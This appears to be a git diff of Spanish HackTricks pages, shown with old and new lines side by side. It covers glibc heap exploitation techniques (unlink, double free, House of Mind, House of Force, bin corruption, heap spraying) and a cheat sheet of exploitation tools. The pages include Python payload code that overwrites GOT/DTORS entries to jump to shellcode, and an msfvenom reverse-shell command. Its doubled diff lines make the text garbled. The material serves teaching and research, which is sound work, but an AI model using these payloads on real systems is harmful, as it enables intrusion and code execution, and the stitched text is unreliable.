Por lo tanto, si logramos modificar P->bk con la dirección de una shellcode y P->fd con la dirección de una entrada en la GOT o DTORS menos 12, se logra: Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra:
BK = P->bk = &shellcode FD = P->fd = &__dtor_end__ - 12 FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
Y así, al salir del programa, se ejecutará la shellcode. Y así se ejecuta al salir del programa la shellcode.
Además, la cuarta sentencia de unlink() escribe algo y la shellcode debe estar preparada para esto: Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode. BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode.
Por lo tanto, el exploit se crea: Por lo tanto el exploit se crea:
En el buffer1 se inserta la shellcode comenzando con un jmp para que caiga en los nops o en el resto de la shellcode. En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode.
Después de la shellcode, se inserta relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos lugares se inserta 0xfffffff0 (para sobrescribir prev_size y marcarlo como libre) y "-4" (0xfffffffc) en size (para que al comprobar en el tercer trozo si el segundo estaba libre, en realidad vaya al prev_size modificado que indicará que está libre) -> Así, cuando free() investigue, irá al size del tercer trozo pero en realidad irá al segundo - 4 y pensará que el segundo trozo está libre. Entonces, llamará a **unlink()**. Después de la shell code metemos relleno hasta llegar al campo prev\_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescriba el prev\_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev\_size modificado que le dirá que está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**.
Al calling unlink() se usará P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso).
Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quiere sobrescribir - 12 (pues en FD->bk le sumará 12 a la dirección guardada en FD). Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode (P->bk falso).
**from struct import \*** **from struct import \***
@ -235,7 +276,7 @@ Al calling unlink() se usará P->fd los primeros datos del 2º trozo por lo que
**addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno** **addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
**got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)** **got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescriba para que se lance la shellcode la 2º vez que se llame a free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí** **payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
@ -249,11 +290,11 @@ Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reser
En ese caso: En ese caso:
En el chunck c se pone el shellcode En el chunk c se pone el shellcode
El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV\_INUSE desactivado de forma que piense que el chunck a está libre. El chunk a lo usamos para sobrescribir el b de forma que el size tenga el bit PREV\_INUSE desactivado de forma que piense que el chunk a está libre.
Además, se sobreescribe en la cabecera b el size para que valga -4. Además, se sobrescribe en la cabecera b el size para que valga -4.
Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV\_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”. Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV\_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.
@ -273,9 +314,9 @@ Un buffer contiguo a este que debe ser liberado y al que se le modificará el ca
Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior
Un buffer declarado antes del paso 3 que permita sobreescribir el prev\_size de este Un buffer declarado antes del paso 3 que permita sobrescribir el prev\_size de este
De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit. De esta forma logrando sobrescribir en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.
**Vulnerabilidad double free()** **Vulnerabilidad double free()**
@ -343,9 +384,10 @@ Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR\_END\_\_-12 en l
Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av->bins\[2] Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av->bins\[2]
En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap\_for\_ptr() piense que el ar\_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2] En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap\_for\_ptr() piense que el ar\_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2]
En el segundo fragmento y gracias al primero sobreescribimos el prev\_size con un jump 0x0c y el size con algo para activar -> NON\_MAIN\_ARENA
A continuación en el fragmento 2 ponemos un montón de nops y finalmente la shellcode En el segundo trozo y gracias al primero sobrescribimos el prev\_size con un jump 0x0c y el size con algo para activar -> NON\_MAIN\_ARENA
A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode
De esta forma se llamará a \_int\_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR\_END\_\_ la dirección del prev\_size del TROZO2 el cual saltará a la shellcode. De esta forma se llamará a \_int\_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR\_END\_\_ la dirección del prev\_size del TROZO2 el cual saltará a la shellcode.
@ -371,9 +413,9 @@ De esta forma si se pone en “fb” da dirección de una función en la GOT, en
Dado que con The House of Mind se vio que nosotros controlábamos la posición del av. Dado que con The House of Mind se vio que nosotros controlábamos la posición del av.
Entones si en el campo size ponemos un tamaño de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() nos devolverá fastbins\[-1], que apuntará a av->max\_fast Entonces si en el campo size ponemos un tamaño de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() nos devolverá fastbins\[-1], que apuntará a av->max\_fast
En este caso av->max\_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita). En este caso av->max\_fast será la dirección que se sobrescribirá (no a la que apunte, sino esa posición será la que se sobrescribirá).
Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops). Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops).
@ -417,11 +459,11 @@ Es necesario:
* Una llamada a malloc() con el tamaño definido por el usuario * Una llamada a malloc() con el tamaño definido por el usuario
* Una llamada a malloc() cuyos datos puedan ser definidos por el usuario * Una llamada a malloc() cuyos datos puedan ser definidos por el usuario
Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cualquiera solicitud de memoria lo suficientemente grande será tratada en \_int\_malloc() sin necesidad de expandir el heap Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int\_malloc() sin necesidad de expandir el heap
Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8. Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8.
Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante: Tenemos que sobrescribir av->top para que apunte a la zona de memoria bajo el control del atacante:
victim = av->top; victim = av->top;
@ -443,7 +485,8 @@ Es importante saber que el size del nuevo trozo wilderness sea más grande que l
Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado. Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado.
Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max\_fast (72normalmente) y menos a MIN\_LARGE\_SIZE (512). Para alcanzar el código vulnerable la solicitud de memoria deberá ser mayor a av->max\_fast (72 normalmente) y menos a MIN\_LARGE\_SIZE (512).
Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo: Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo:
bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar. bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar.
@ -468,13 +511,13 @@ Así el bin deberá esperar turno a que se llame a malloc() suficientes veces co
Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida. Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida.
Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero. Para proteger este ataque se usó la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero.
**Corrupción LargeBin** **Corrupción LargeBin**
Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512. Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512.
El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE. El ataque es como el anterior, es decir, hay que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE.
Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned) Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned)
@ -482,7 +525,7 @@ Además se ha introducido un parche para hacerlo aún más complicado.
**Heap Spraying** **Heap Spraying**
Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops. Básicamente consiste en reservar toda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximo posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops.
**Heap Feng Shui** **Heap Feng Shui**
@ -496,7 +539,7 @@ Consiste en mediante reservas y liberaciones sementar la memoria de forma que qu
**objdump -d ./exec | grep funcCode**\ **objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\ **objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\ **objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\ **objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobrescribir en le GOT\
**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\ **objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\
**objdump -p -/exec**\ **objdump -p -/exec**\
**Info functions strncmp —>** Info de la función en gdb **Info functions strncmp —>** Info de la función en gdb
@ -511,16 +554,17 @@ Consiste en mediante reservas y liberaciones sementar la memoria de forma que qu
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html) * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Herramientas de Explotación # Herramientas de Explotación
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Metasploit ## Metasploit
``` ```
@ -22,13 +23,13 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01 msfelfscan -j esi /opt/fusion/bin/level01
``` ```
### Códigos Shell ### Shellcodes
``` ```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
``` ```
## GDB ## GDB
### Instalación ### Instalar
``` ```
apt-get install gdb apt-get install gdb
``` ```
@ -124,22 +125,22 @@ gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176' [+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely [+] Found at offset 184 (little-endian search) likely
``` ```
### Trucos ### Tricks
#### Mismas direcciones en GDB #### GDB mismas direcciones
Mientras se depura, GDB tendrá **direcciones ligeramente diferentes a las utilizadas por el binario al ejecutarse.** Puedes hacer que GDB tenga las mismas direcciones haciendo lo siguiente: Mientras depuras, GDB tendrá **direcciones ligeramente diferentes a las utilizadas por el binario al ejecutarse.** Puedes hacer que GDB tenga las mismas direcciones haciendo:
* `unset env LINES` * `unset env LINES`
* `unset env COLUMNS` * `unset env COLUMNS`
* `set env _=<ruta>` _Coloca la ruta absoluta al binario_ * `set env _=<path>` _Coloca la ruta absoluta al binario_
* Explota el binario usando la misma ruta absoluta * Explota el binario utilizando la misma ruta absoluta
* `PWD` y `OLDPWD` deben ser iguales al usar GDB y al explotar el binario * `PWD` y `OLDPWD` deben ser las mismas al usar GDB y al explotar el binario
#### Rastrear para encontrar funciones llamadas #### Backtrace para encontrar funciones llamadas
Cuando tienes un **binario enlazado estáticamente**, todas las funciones pertenecerán al binario (y no a bibliotecas externas). En este caso, será difícil **identificar el flujo que sigue el binario para, por ejemplo, solicitar la entrada del usuario**.\ Cuando tienes un **binario vinculado estáticamente**, todas las funciones pertenecerán al binario (y no a bibliotecas externas). En este caso, será difícil **identificar el flujo que sigue el binario para, por ejemplo, pedir entrada del usuario.**\
Puedes identificar fácilmente este flujo **ejecutando** el binario con **gdb** hasta que se te solicite la entrada. Luego, detenlo con **CTRL+C** y usa el comando **`bt`** (**backtrace**) para ver las funciones llamadas: Puedes identificar fácilmente este flujo **ejecutando** el binario con **gdb** hasta que se te pida entrada. Luego, deténlo con **CTRL+C** y usa el comando **`bt`** (**backtrace**) para ver las funciones llamadas:
``` ```
gef➤ bt gef➤ bt
#0 0x00000000004498ae in ?? () #0 0x00000000004498ae in ?? ()
@ -148,16 +149,16 @@ gef➤ bt
#3 0x00000000004011a9 in ?? () #3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? () #4 0x0000000000400a5a in ?? ()
``` ```
### Servidor GDB ### GDB server
`gdbserver --multi 0.0.0.0:23947` (en IDA debes completar la ruta absoluta del ejecutable en la máquina Linux y en la máquina Windows) `gdbserver --multi 0.0.0.0:23947` (en IDA tienes que llenar la ruta absoluta del ejecutable en la máquina Linux y en la máquina Windows)
## Ghidra ## Ghidra
### Encontrar el desplazamiento de la pila ### Find stack offset
**Ghidra** es muy útil para encontrar el **desplazamiento** para un **desbordamiento de búfer gracias a la información sobre la posición de las variables locales.**\ **Ghidra** es muy útil para encontrar el **offset** para un **buffer overflow gracias a la información sobre la posición de las variables locales.**\
Por ejemplo, en el ejemplo a continuación, un desbordamiento de búfer en `local_bc` indica que necesitas un desplazamiento de `0xbc`. Además, si `local_10` es una cookie canary, indica que para sobrescribirla desde `local_bc` hay un desplazamiento de `0xac`.\ Por ejemplo, en el ejemplo a continuación, un desbordamiento de buffer en `local_bc` indica que necesitas un offset de `0xbc`. Además, si `local_10` es una cookie canaria, indica que para sobrescribirla desde `local_bc` hay un offset de `0xac`.\
_Recuerda que los primeros 0x08 desde donde se guarda el RIP pertenecen al RBP._ _Recuerda que los primeros 0x08 desde donde se guarda el RIP pertenecen al RBP._
![](<../../.gitbook/assets/image (616).png>) ![](<../../.gitbook/assets/image (616).png>)
@ -167,7 +168,7 @@ _Recuerda que los primeros 0x08 desde donde se guarda el RIP pertenecen al RBP._
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compilar sin protecciones\ **gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compilar sin protecciones\
**-o** --> Salida\ **-o** --> Salida\
**-g** --> Guardar código (GDB podrá verlo)\ **-g** --> Guardar código (GDB podrá verlo)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Para desactivar el ASLR en Linux **echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Para desactivar el ASLR en linux
**Para compilar un shellcode:**\ **Para compilar un shellcode:**\
**nasm -f elf assembly.asm** --> devuelve un ".o"\ **nasm -f elf assembly.asm** --> devuelve un ".o"\
@ -175,60 +176,61 @@ _Recuerda que los primeros 0x08 desde donde se guarda el RIP pertenecen al RBP._
## Objdump ## Objdump
**-d** --> Desensamblar secciones ejecutables (ver opcodes de un shellcode compilado, encontrar ROP Gadgets, encontrar direcciones de funciones...)\ **-d** --> **Desensamblar ejecutable** secciones (ver opcodes de un shellcode compilado, encontrar ROP Gadgets, encontrar dirección de función...)\
**-Mintel** --> Sintaxis **Intel**\ **-Mintel** --> **Sintaxis Intel**\
**-t** --> Tabla de **símbolos**\ **-t** --> Tabla de **símbolos**\
**-D** --> Desensamblar todo (dirección de variable estática)\ **-D** --> **Desensamblar todo** (dirección de variable estática)\
**-s -j .dtors** --> sección dtors\ **-s -j .dtors** --> sección dtors\
**-s -j .got** --> sección got\ **-s -j .got** --> sección got\
\-D -s -j .plt --> sección **plt** **descompilada**\ \-D -s -j .plt --> sección **plt** **descompilada**\
**-TR** --> **Relocalizaciones**\ **-TR** --> **Reubicaciones**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Dirección de "puts" para modificar en GOT\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Dirección de "puts" para modificar en GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Dirección de una variable estática (estas se almacenan en la sección DATA). **objdump -D ./exec | grep "VAR\_NAME"** --> Dirección o una variable estática (esas se almacenan en la sección DATA).
## Volcados de núcleo ## Core dumps
1. Ejecutar `ulimit -c unlimited` antes de iniciar mi programa 1. Ejecuta `ulimit -c unlimited` antes de iniciar mi programa
2. Ejecutar `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 2. Ejecuta `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet 3. sudo gdb --core=\<path/core> --quiet
## Más ## More
**ldd ejecutable | grep libc.so.6** --> Dirección (si hay ASLR, esto cambia cada vez)\ **ldd executable | grep libc.so.6** --> Dirección (si ASLR, entonces esto cambia cada vez)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Bucle para ver si la dirección cambia mucho\ **for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Bucle para ver si la dirección cambia mucho\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Desplazamiento de "system"\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset de "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Desplazamiento de "/bin/sh" **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset de "/bin/sh"
**strace ejecutable** --> Funciones llamadas por el ejecutable\ **strace executable** --> Funciones llamadas por el ejecutable\
**rabin2 -i ejecutable -->** Dirección de todas las funciones **rabin2 -i ejecutable -->** Dirección de todas las funciones
## **Depurador de Inmunidad** ## **Inmunity debugger**
```bash ```bash
!mona modules #Get protections, look for all false except last one (Dll of SO) !mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
``` ```
## IDA ## IDA
### Depuración en Linux remoto ### Depuración en linux remoto
Dentro de la carpeta de IDA, puedes encontrar binarios que se pueden utilizar para depurar un binario en un sistema Linux. Para hacerlo, mueve el binario _linux\_server_ o _linux\_server64_ dentro del servidor Linux y ejecútalo dentro de la carpeta que contiene el binario: Dentro de la carpeta IDA puedes encontrar binarios que se pueden usar para depurar un binario dentro de un linux. Para hacerlo, mueve el binario _linux\_server_ o _linux\_server64_ dentro del servidor linux y ejecútalo dentro de la carpeta que contiene el binario:
``` ```
./linux_server64 -Ppass ./linux_server64 -Ppass
``` ```
Luego, configura el depurador: Depurador (remoto de Linux) --> Opciones de proceso...: Luego, configura el depurador: Debugger (linux remote) --> Proccess options...:
![](<../../.gitbook/assets/image (101).png>) ![](<../../.gitbook/assets/image (101).png>)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
